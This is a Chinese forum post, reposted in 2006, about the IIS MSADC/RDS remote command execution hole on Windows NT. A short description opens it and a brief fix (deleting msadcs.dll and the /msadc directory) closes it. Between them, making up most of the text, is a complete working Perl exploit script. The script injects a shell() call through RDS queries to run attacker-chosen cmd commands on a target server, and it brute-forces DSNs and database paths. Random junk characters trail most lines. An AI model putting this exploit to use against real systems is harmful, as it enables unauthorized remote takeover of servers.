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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 63'L58O  
kyf(V)APPu  
涉及程序: nK`H;k  
Microsoft NT server U45-R -  
P! P` MX  
描述: DAy|'%rF1-  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Y=@iD\u  
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详细: p\}!uS4 (  
如果你没有时间读详细内容的话,就删除: l-2lb&n  
c:\Program Files\Common Files\System\Msadc\msadcs.dll #!>`$  
有关的安全问题就没有了。 0x # V   
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 %reW/;)l{  
PHMp, z8  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 !1mAq+q!  
关于利用ODBC远程漏洞的描述,请参看: . |`)k  
p2gu@!   
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 0zk054F'  
H'I5LYsXO~  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 hVdGxT]6  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp }tJMnq/m($  
orFB*{/Z  
这里不再论述。 Z ZT2c0AK  
Ch]q:o4  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: = gcZRoL  
F.D6O[pZ  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset }OSfC~5P  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! G+WCE*  
/U>8vV+C  
Ls*Vz,3!5  
#将下面这段保存为txt文件,然后: "perl -x 文件名" m/WDJ$d  
!lKDNQ8>["  
#!perl qv`:o `  
# W$` WkR  
# MSADC/RDS 'usage' (aka exploit) script +!t *LSF  
# I]B9+Z?xo  
# by rain.forest.puppy _k5$.f:Yj<  
# f5R%F ~  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me &<) _7?  
# beta test and find errors! fN 1:'d  
iHWt;]  
use Socket; use Getopt::Std; eTt{wn;6  
getopts("e:vd:h:XR", \%args); xRF_'|e  
Y'y$k  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; G~NhBA9  
7>gW2 m  
if (!defined $args{h} && !defined $args{R}) { K,*IfHi6[  
print qq~ VKi3z%kwK  
Usage: msadc.pl -h <host> { -d <delay> -X -v } pe+m%;nzR  
-h <host> = host you want to scan (ip or domain) /Wy9 ".  
-d <seconds> = delay between calls, default 1 second d%Ku 'Jy  
-X = dump Index Server path table, if available eoPoG C  
-v = verbose _K~?{".  
-e = external dictionary file for step 5 qt%/0  
5a* Awv}  
Or a -R will resume a command session !p)cP"fa  
/PkOF ((  
~; exit;} =PoPp  
B^hK  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; CzT_$v_  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} :wJ!rn,4  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} [92bGR{  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); J1Y3>40  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} BimM)4g  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } UOI Z8Po  
q{.~=~  
if (!defined $args{R}){ $ret = &has_msadc; ;<`  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} &l~=c2  
Jaf=qwZ/`  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Vs[!WJ 7  
. "cmd /c "; %P]-wBJw  
$in=<STDIN>; chomp $in; k_Edug~B  
$command="cmd /c " . $in ; M~!LjJg;  
.{ ]=v  
if (defined $args{R}) {&load; exit;} nzu 3BVv  
*$>$O%   
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ?rV c}  
&try_btcustmr;  ,#-^  
]9pcDZB  
print "\nStep 2: Trying to make our own DSN..."; F[OBPPQ3  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; %n #^#:   
<kor;exeJ  
print "\nStep 3: Trying known DSNs..."; zphStiwIQ  
&known_dsn; ?jzadCel  
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print "\nStep 4: Trying known .mdbs..."; >Y/1%Hp9  
&known_mdb; (.3L'+F  
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if (defined $args{e}){ r^6v o6^  
print "\nStep 5: Trying dictionary of DSN names..."; Afa{f}st  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } IN]bAd8"  
}fs;yPl,  
print "Sorry Charley...maybe next time?\n"; ]R{=|  
exit; ^q$vyY   
XsHl%o8,z  
############################################################################## `\P:rn95;  
j|(bDa4\  
sub sendraw { # ripped and modded from whisker `ionMTZY  
sleep($delay); # it's a DoS on the server! At least on mine... |qNrj~n@  
my ($pstr)=@_; F]?$Q'U  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || o6K BJx  
die("Socket problems\n"); I.e'  
if(connect(S,pack "SnA4x8",2,80,$target)){ uf)W? `e~  
select(S); $|=1; Bv@m)$9\+3  
print $pstr; my @in=<S>; @+X}O /74  
select(STDOUT); close(S); +;[`fSi  
return @in; "x$S%:p  
} else { die("Can't connect...\n"); }} PvT8XSlTx!  
,em6wIq,  
############################################################################## 0_D~n0rq,v  
]:E]5&VwV}  
sub make_header { # make the HTTP request 8rp-Xi W  
my $msadc=<<EOT c8"I]Qc7  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 X)f"`$  
User-Agent: ACTIVEDATA *E)Y?9u"  
Host: $ip JN KZ'9  
Content-Length: $clen .DvAX(2v  
Connection: Keep-Alive LMG\jc?,  
M<~F>(wxA  
ADCClientVersion:01.06 }Rux<=cd|  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 t2Y~MyT/  
Z|?XQ-R5  
--!ADM!ROX!YOUR!WORLD! V_W=MWs&+  
Content-Type: application/x-varg (kuZS4Af  
Content-Length: $reqlen My`%gP~%g  
610k#$  
EOT ^&rb I,D  
; $msadc=~s/\n/\r\n/g; z:G9Uu3H(  
return $msadc;} 0\~Zg  
-5ec8m8  
############################################################################## Y) t}%62  
.CpF0  
sub make_req { # make the RDS request 7:j #1N[p  
my ($switch, $p1, $p2)=@_; `( a^=e5  
my $req=""; my $t1, $t2, $query, $dsn; U;q)01  
5~"=Fm<uD  
if ($switch==1){ # this is the btcustmr.mdb query  zm.2L  
$query="Select * from Customers where City=" . make_shell(); 86I*  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Hf-F-~E  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} %ej"ZeM  
BmJ?VJ}Y  
elsif ($switch==2){ # this is general make table query r#}Sy \  
$query="create table AZZ (B int, C varchar(10))"; uU\iji\  
$dsn="$p1";} &^7)yS+C  
/&dt!.WY^  
elsif ($switch==3){ # this is general exploit table query N+V-V-PVk  
$query="select * from AZZ where C=" . make_shell(); H5I#/j  
$dsn="$p1";} zXCIn  
tj&A@\/  
elsif ($switch==4){ # attempt to hork file info from index server =% JDo  
$query="select path from scope()"; )yK!qu  
$dsn="Provider=MSIDXS;";} I^|bQ3sor  
09?<K)_G  
elsif ($switch==5){ # bad query ?hu 9c  
$query="select"; O&s6blD11  
$dsn="$p1";} UiEB?X]-l'  
IyuT=A~Ki  
$t1= make_unicode($query); F3'X  
$t2= make_unicode($dsn); qpeK><o  
$req = "\x02\x00\x03\x00"; *3K"Kc2  
$req.= "\x08\x00" . pack ("S1", length($t1)); #?=cg]v_  
$req.= "\x00\x00" . $t1 ; ,'673PR  
$req.= "\x08\x00" . pack ("S1", length($t2)); FS}z_G|4]  
$req.= "\x00\x00" . $t2 ; )-{Qa\6(%  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; MnI $%  
return $req;} L' pZ  
({9!P30:  
############################################################################## F1=+<]!  
<Gw<(M  
sub make_shell { # this makes the shell() statement gZUy0`E  
return "'|shell(\"$command\")|'";} ;hvXFU  
ckk[n  
############################################################################## 7GUJ&U) J  
?:nZv< x  
sub make_unicode { # quick little function to convert to unicode !T~d5^l!  
my ($in)=@_; my $out; 1W g8jr's  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %ze1ZWO{  
return $out;} 7. .vaq#  
K0g:Q*J-  
############################################################################## j5O*H_D  
\d+HYLAJn  
sub rdo_success { # checks for RDO return success (this is kludge) bH{aI:9Fb  
my (@in) = @_; my $base=content_start(@in); c" 7pf T  
if($in[$base]=~/multipart\/mixed/){ gsp 7N  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} OQQ9R?Ll{  
return 0;} k#(cZ  
dL` +^E>  
############################################################################## ^IpiNY/%Q  
1#<E]<='t  
sub make_dsn { # this makes a DSN for us }(K6 YL  
my @drives=("c","d","e","f"); hI8C XG  
print "\nMaking DSN: "; g4 X,*H  
foreach $drive (@drives) { #U}U>4'  
print "$drive: "; d/>,U7eS[+  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ?Q3~n^  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" J":9  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); @;}H<&"  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; }$1 ;<  
return 0 if $2 eq "404"; # not found/doesn't exist Ag6 (  
if($2 eq "200") { }6> J   
foreach $line (@results) { z)>{O3  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} af(JoX*U  
} return 0;} e;5Lv9?C8  
)''wu\7A)'  
############################################################################## b2e  a0  
=.hDf<U  
sub verify_exists { 1}E@lOc  
my ($page)=@_; A*~1Uz\t  
my @results=sendraw("GET $page HTTP/1.0\n\n"); lKUm_; m  
return $results[0];} %},G(>  
\2xBOe-a]  
############################################################################## J\'5CG  
~,68S^nP)H  
sub try_btcustmr { @t8kN6.  
my @drives=("c","d","e","f"); O97bgj]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); })lT fy  
YX VJJd$U  
foreach $dir (@dirs) { 3{:<z 4>{  
print "$dir -> "; # fun status so you can see progress rcmAVl:$>  
foreach $drive (@drives) { ; ,<J:%s  
print "$drive: "; # ditto }>~>5jc/Pg  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; &2=KQ\HO  
$reqlenlen=length( "$reqlen" ); Te}yQ=+  
$clen= 206 + $reqlenlen + $reqlen; !u}3H|6~  
J*!:ar  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ;-GzGDc~0  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} pHB35=p28  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} y9li<u<PF  
Xb-c`k~_  
##############################################################################  ,nR8l  
D(6x'</>?  
sub odbc_error { |u r~s$8y-  
my (@in)=@_; my $base; YB~t|m65  
my $base = content_start(@in); j(C UYm  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this KR(} A"  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; V?59 .TJ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; uyt-q|83=  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :wZ`>,K"t>  
return $in[$base+4].$in[$base+5].$in[$base+6];} B"9hQb  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; iv+jv2ZF%  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . d5"EvT  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 8]":[s6x  
<>i+R#u{  
############################################################################## n qLAby_  
-5v.1y=!L  
sub verbose { gQ=POJ=G  
my ($in)=@_; S<!_ uq  
return if !$verbose; |zq!CLjD@  
print STDOUT "\n$in\n";} G+ v, Hi1  
Rgfhs[Z  
############################################################################## |;9 A{#zM  
!u { "] T:  
sub save { Z/kaRnG[@t  
my ($p1, $p2, $p3, $p4)=@_; p_qm}zp  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; :LiDJF  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Z3So|M{v  
close OUT;} xY'qm8V  
$l,Zd6<1q  
############################################################################## JkDPuTXD  
RC{Z)M{~  
sub load { ^ ]qV8  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ^b!7R <>~  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); fj-pNl6Gf  
@p=<IN>; close(IN); (vAv^A*i}  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); :{b6M/  
$target= inet_aton($ip) || die("inet_aton problems"); gJ5wAK+?  
print "Resuming to $ip ..."; fb"J Bc}X  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Bf:tal6 -M  
if($p[1]==1) { |\%F(d330  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; MkW1FjdP  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; #W@% K9  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ]\RSHz  
if (rdo_success(@results)){print "Success!\n";} KT];SF ^Y  
else { print "failed\n"; verbose(odbc_error(@results));}} y,v0-o~q  
elsif ($p[1]==3){ ?S@R~y0K  
if(run_query("$p[3]")){ K 5qLBz@U  
print "Success!\n";} else { print "failed\n"; }} 2rO)qjiH  
elsif ($p[1]==4){ 2#b<d?"  
if(run_query($drvst . "$p[3]")){ dT]L-uRZgy  
print "Success!\n"; } else { print "failed\n"; }} !jAWNK6  
exit;} PPCTc|G  
Q&upxE4-~  
############################################################################## <DXmZ1  
D#d8^U  
sub create_table { tCbr<Ug  
my ($in)=@_; 0ck&kpL:9  
$reqlen=length( make_req(2,$in,"") ) - 28; eMN+qkvH  
$reqlenlen=length( "$reqlen" ); Wg` +u  
$clen= 206 + $reqlenlen + $reqlen; L7Qo-  
my @results=sendraw(make_header() . make_req(2,$in,"")); ]D{c4)\7C|  
return 1 if rdo_success(@results); p fL2v,]g  
my $temp= odbc_error(@results); verbose($temp); r}R^<y@I  
return 1 if $temp=~/Table 'AZZ' already exists/; dqD;y#/  
return 0;} 8K.s@<  
oE!hF}O  
############################################################################## }0BL0N`_  
NqT1buU#  
sub known_dsn { ApG'jN  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go gHvW e  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", #juGD9e  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 7sud/*+F  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); rkfQr9Vc  
9 V=<| 2  
foreach $dSn (@dsns) { 8> Du  
print "."; d<^_w!4X}  
next if (!is_access("DSN=$dSn")); [_ M6/  
if(create_table("DSN=$dSn")){ -_2Dy1  
print "$dSn successful\n"; dd \bI_  
if(run_query("DSN=$dSn")){ [xtK"E#  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { |"CJ  
print "Something's borked. Use verbose next time\n";}}} print "\n";} AZxrJ2G  
0{0;1.ZP  
############################################################################## PyC;f8n'(  
;48P vw>g}  
sub is_access { @[d#mz  
my ($in)=@_; N 8:"&WM  
$reqlen=length( make_req(5,$in,"") ) - 28; ezcS[r  
$reqlenlen=length( "$reqlen" ); VLh%XoQx[  
$clen= 206 + $reqlenlen + $reqlen; <`c25ih.4  
my @results=sendraw(make_header() . make_req(5,$in,"")); v9E+(4I9_  
my $temp= odbc_error(@results); &<gUFcw7Ui  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ?CH?kP  
return 0;} j`2B}@2  
MV0<^/p|  
############################################################################## 4ef*9|^x#  
a9#W9eP  
sub run_query { w::r?.9  
my ($in)=@_; ^273l(CZ1  
$reqlen=length( make_req(3,$in,"") ) - 28; < Gr9^C  
$reqlenlen=length( "$reqlen" ); bbd0ocva  
$clen= 206 + $reqlenlen + $reqlen; fDU+3b  
my @results=sendraw(make_header() . make_req(3,$in,"")); cP*c(k~N  
return 1 if rdo_success(@results);  : cFF  
my $temp= odbc_error(@results); verbose($temp); rD0k%-{{  
return 0;} M MAAHo  
?_VRfeztw  
############################################################################## s8t f@H4r  
<TI3@9\qXE  
sub known_mdb { f\h%; X  
my @drives=("c","d","e","f","g"); ,dHP`j ?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [#7y[<.P  
my $dir, $drive, $mdb; lir &e 9I+  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; D3%l4.h  
T@(6hEmP,  
# this is sparse, because I don't know of many PSW #^o  
my @sysmdbs=( "\\catroot\\icatalog.mdb", cJP'ShnCh  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", `aO.=:O_  
"\\system32\\certmdb.mdb", <9@&oN+T  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% X$BXT  
`Uz s+k-]  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", rW:iBq  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Ab*] dn`z  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ]@*tfz\YaH  
"\\cfusion\\cfapps\\security\\realm_.mdb", GS}0;x  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", so} l#  
"\\cfusion\\database\\cfexamples.mdb",  ;e&!  
"\\cfusion\\database\\cfsnippets.mdb", wX-RQ[2X  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", myD{sE2A  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 1 h<fJzh  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 'To<T  
"\\cfusion\\database\\smpolicy.mdb", 3QCMK^#Z:  
"\\cfusion\\database\cypress.mdb", ewo*7j4*  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", XDHLEG-u(  
"\\website\\cgi-win\\dbsample.mdb", xttYn ]T  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", dO+kPC  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 7k 3p'FeS  
); #these are just LL{t5(- _  
foreach $drive (@drives) { +jcdf}  
foreach $dir (@dirs){ 4w@v#H@  
foreach $mdb (@sysmdbs) { N%O[  
print "."; a|UqeNI{  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ r k@UsHy  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; )j\r,9<K+5  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 9#u}^t  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; (Ar?QwP9>  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ~Y% : 3  
,MRvuw0P  
foreach $drive (@drives) { * !X4&#xP  
foreach $mdb (@mdbs) { 5QR}IxQ  
print "."; GXO4x|08F  
if(create_table($drv . $drive . $dir . $mdb)){ xYmdCf@H  
print "\n" . $drive . $dir . $mdb . " successful\n"; B9wp*:.  
if(run_query($drv . $drive . $dir . $mdb)){ 'w}p[(  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ;JYoW{2  
} else { print "Something's borked. Use verbose next time\n"; }}}} m6-76ma,hi  
} ]+AAT=B<!  
P!5Z]+B#  
############################################################################## AQ-mE9>P  
^ b@!dS  
sub hork_idx { ?F1wh2o q  
print "\nAttempting to dump Index Server tables...\n"; > 9o{(j  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; j?( c}!}  
$reqlen=length( make_req(4,"","") ) - 28;  ?J<T  
$reqlenlen=length( "$reqlen" ); :H{Bb{B%  
$clen= 206 + $reqlenlen + $reqlen; i9KTX%s5^  
my @results=sendraw2(make_header() . make_req(4,"","")); Ga.0Io&}C  
if (rdo_success(@results)){ {h,_"g\V  
my $max=@results; my $c; my %d; mIRAS"Q!m  
for($c=19; $c<$max; $c++){ C}9Kx }q  
$results[$c]=~s/\x00//g; .U<F6I:<md  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; C]/&vh7ta  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ,pn ) >  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 9MT3T?IS  
$d{"$1$2"}="";} 3#9uEDdE  
foreach $c (keys %d){ print "$c\n"; } RXM}hqeG  
} else {print "Index server doesn't seem to be installed.\n"; }} am2a#4`  
A$Wx#r7)  
############################################################################## M=W 4:H,gx  
YtMlqF  
sub dsn_dict { #L\o;p(  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); +miR3~w.  
while(<IN>){ ANotUty;y  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; u-kZW1wrQ  
next if (!is_access("DSN=$dSn")); z<t>hzl 7  
if(create_table("DSN=$dSn")){ <E SvvTf  
print "$dSn successful\n"; U3/8A:$y  
if(run_query("DSN=$dSn")){ 0F1u W>D1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { q4) Ey  
print "Something's borked. Use verbose next time\n";}}} GJvp{U}y9I  
print "\n"; close(IN);} n_J5zQJ  
Jns/v6  
############################################################################## ]Ym=+lgi  
%0lf  
sub sendraw2 { # ripped and modded from whisker >zFD $  
sleep($delay); # it's a DoS on the server! At least on mine... B_cgWJ*4  
my ($pstr)=@_; Y_+ SA|s  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || y[7C% Wj  
die("Socket problems\n"); 5\&]J7(  
if(connect(S,pack "SnA4x8",2,80,$target)){ Uh}+"h5  
print "Connected. Getting data"; nW11wtiO.  
open(OUT,">raw.out"); my @in; g**5z'7  
select(S); $|=1; print $pstr; ^Wm*-4  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} N2T&,&, t  
close(OUT); select(STDOUT); close(S); return @in; &5d\~{;  
} else { die("Can't connect...\n"); }} GoazH?%  
"ct58Y@   
############################################################################## pUGN!3  
dkpQ ZXi9%  
sub content_start { # this will take in the server headers 6(>WGR  
my (@in)=@_; my $c; k&!6fZ)  
for ($c=1;$c<500;$c++) { $7Cgo&J  
if($in[$c] =~/^\x0d\x0a/){ [EER4@_  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 7/ t:YBR  
else { return $c+1; }}} {<!hlB  
return -1;} # it should never get here actually %P;[fJ `G  
QAi1,+y]7w  
############################################################################## u3ST;  
L@?e:*h  
sub funky { 12-EDg/1  
my (@in)=@_; my $error=odbc_error(@in); }Bi@?Sb  
if($error=~/ADO could not find the specified provider/){ B>,A(X&  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; e+{BJN vz  
exit;} lA]N04 d  
if($error=~/A Handler is required/){ _CL{IY  
print "\nServer has custom handler filters (they most likely are patched)\n"; m d_g}N(C  
exit;} Mb1wYh  
if($error=~/specified Handler has denied Access/){ WU7cF81$  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5/,Qz>QE[  
exit;}} _-RyHgX  
8RU.}PD  
############################################################################## =gs~\q  
z>p]/Sa  
sub has_msadc { ++0rF\&  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); )T/J  
my $base=content_start(@results); Zt_r9xs>  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); &}E:jt}  
return 0;} 2qjyFTT  
m@[3~ 6A  
######################## /S[?{QA  
- zQ<Z E  
A$:|Qd7F1  
解决方案: bOb Nc  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll !?b/-~o7S  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 6bUl > 4  
/?U!y?t&@  
拿出来充数 哈哈
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